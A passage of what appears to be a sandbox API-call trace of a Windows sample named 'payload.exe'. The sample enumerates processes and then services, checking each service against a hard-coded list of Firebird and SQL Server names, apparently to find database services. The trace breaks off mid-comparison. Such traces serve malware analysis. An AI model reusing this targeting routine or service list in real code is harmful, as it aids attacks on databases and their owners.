th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.114] lstrlenW (lpString="csrss.exe") returned 9 [0145.114] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0145.114] lstrlenW (lpString="winlogon.exe") returned 12 [0145.114] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0145.115] lstrlenW (lpString="services.exe") returned 12 [0145.115] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0145.116] lstrlenW (lpString="lsass.exe") returned 9 [0145.116] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.116] lstrlenW (lpString="svchost.exe") returned 11 [0145.117] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0145.117] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0145.117] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0145.118] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0145.118] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.119] lstrlenW (lpString="svchost.exe") returned 11 [0145.119] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0145.119] lstrlenW (lpString="dwm.exe") returned 7 [0145.119] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.120] lstrlenW (lpString="svchost.exe") returned 11 [0145.120] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.121] lstrlenW (lpString="svchost.exe") returned 11 [0145.121] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.121] lstrlenW (lpString="svchost.exe") returned 11 [0145.121] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.122] lstrlenW (lpString="svchost.exe") returned 11 [0145.122] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.123] lstrlenW (lpString="svchost.exe") returned 11 [0145.123] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.123] lstrlenW (lpString="svchost.exe") returned 11 [0145.123] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.124] lstrlenW (lpString="svchost.exe") returned 11 [0145.124] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.125] lstrlenW (lpString="svchost.exe") returned 11 [0145.125] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.125] lstrlenW (lpString="svchost.exe") returned 11 [0145.125] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.126] lstrlenW (lpString="svchost.exe") returned 11 [0145.126] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0145.127] lstrlenW (lpString="spoolsv.exe") returned 11 [0145.127] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.127] lstrlenW (lpString="svchost.exe") returned 11 [0145.127] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0145.128] lstrlenW (lpString="audiodg.exe") returned 11 [0145.128] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0145.129] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0145.129] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0145.129] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0145.129] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0145.131] lstrlenW (lpString="Memory Compression") returned 18 [0145.131] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0145.131] lstrlenW (lpString="sihost.exe") returned 10 [0145.131] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.132] lstrlenW (lpString="svchost.exe") returned 11 [0145.132] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0145.132] lstrlenW (lpString="taskhostw.exe") returned 13 [0145.133] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0145.133] lstrlenW (lpString="msoia.exe") returned 9 [0145.133] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0145.134] lstrlenW (lpString="explorer.exe") returned 12 [0145.134] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0145.135] lstrlenW (lpString="SearchUI.exe") returned 12 [0145.135] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0145.135] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0145.136] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0145.136] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0145.136] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0145.137] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0145.137] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0145.138] lstrlenW (lpString="payload.exe") returned 11 [0145.138] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0145.138] lstrlenW (lpString="dllhost.exe") returned 11 [0145.138] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0145.139] lstrlenW (lpString="dllhost.exe") returned 11 [0145.139] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0145.140] lstrlenW (lpString="payload.exe") returned 11 [0145.140] Process32NextW (in: hSnapshot=0x334, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 0 [0145.141] CloseHandle (hObject=0x334) returned 1 [0145.141] Sleep (dwMilliseconds=0x1f4) [0145.796] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443dfe0 [0145.796] EnumServicesStatusExW (in: hSCManager=0x443dfe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0145.796] GetLastError () returned 0xea [0145.796] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c30) returned 0x52ecbc0 [0145.796] EnumServicesStatusExW (in: hSCManager=0x443dfe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x52ecbc0, cbBufSize=0x1c30, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x52ecbc0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0145.797] CloseServiceHandle (hSCObject=0x443dfe0) returned 1 [0145.797] lstrlenW (lpString="Appinfo") returned 7 [0145.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0145.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0145.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0145.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0145.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0145.797] lstrlenW (lpString="AppXSvc") returned 7 [0145.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0145.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0145.798] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0145.798] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0145.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0145.798] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0145.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.798] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0145.798] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0145.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0145.798] lstrlenW (lpString="Audiosrv") returned 8 [0145.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0145.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0145.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0145.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0145.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0145.798] lstrlenW (lpString="BFE") returned 3 [0145.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0145.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0145.798] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0145.798] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0145.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0145.798] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0145.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0145.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0145.798] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0145.798] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0145.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0145.798] lstrlenW (lpString="CDPSvc") returned 6 [0145.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0145.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0145.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0145.798] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0145.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0145.798] lstrlenW (lpString="ClickToRunSvc") returned 13 [0145.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0145.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0145.799] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0145.799] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0145.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0145.799] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0145.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0145.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0145.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0145.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0145.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0145.799] lstrlenW (lpString="CryptSvc") returned 8 [0145.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0145.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0145.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0145.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0145.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0145.799] lstrlenW (lpString="DcomLaunch") returned 10 [0145.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0145.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0145.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0145.799] lstrlenW (lpString="DeviceAssociationService") returned 24 [0145.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0145.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0145.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0145.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0145.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0145.799] lstrlenW (lpString="Dhcp") returned 4 [0145.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0145.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0145.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0145.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0145.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0145.800] lstrlenW (lpString="Dnscache") returned 8 [0145.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0145.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0145.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0145.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0145.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0145.800] lstrlenW (lpString="DPS") returned 3 [0145.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0145.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0145.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0145.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0145.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0145.800] lstrlenW (lpString="DusmSvc") returned 7 [0145.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0145.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0145.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0145.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0145.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0145.800] lstrlenW (lpString="EventLog") returned 8 [0145.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0145.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0145.800] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0145.800] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0145.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0145.800] lstrlenW (lpString="EventSystem") returned 11 [0145.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0145.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0145.800] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0145.800] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0145.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0145.800] lstrlenW (lpString="FontCache") returned 9 [0145.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0145.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0145.800] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0145.801] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0145.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0145.801] lstrlenW (lpString="gpsvc") returned 5 [0145.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0145.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0145.801] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0145.801] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0145.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0145.801] lstrlenW (lpString="iphlpsvc") returned 8 [0145.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0145.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0145.801] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0145.801] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0145.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0145.801] lstrlenW (lpString="KeyIso") returned 6 [0145.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0145.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0145.801] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0145.801] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0145.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0145.801] lstrlenW (lpString="LanmanServer") returned 12 [0145.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0145.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0145.801] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0145.801] lstrcmpiW 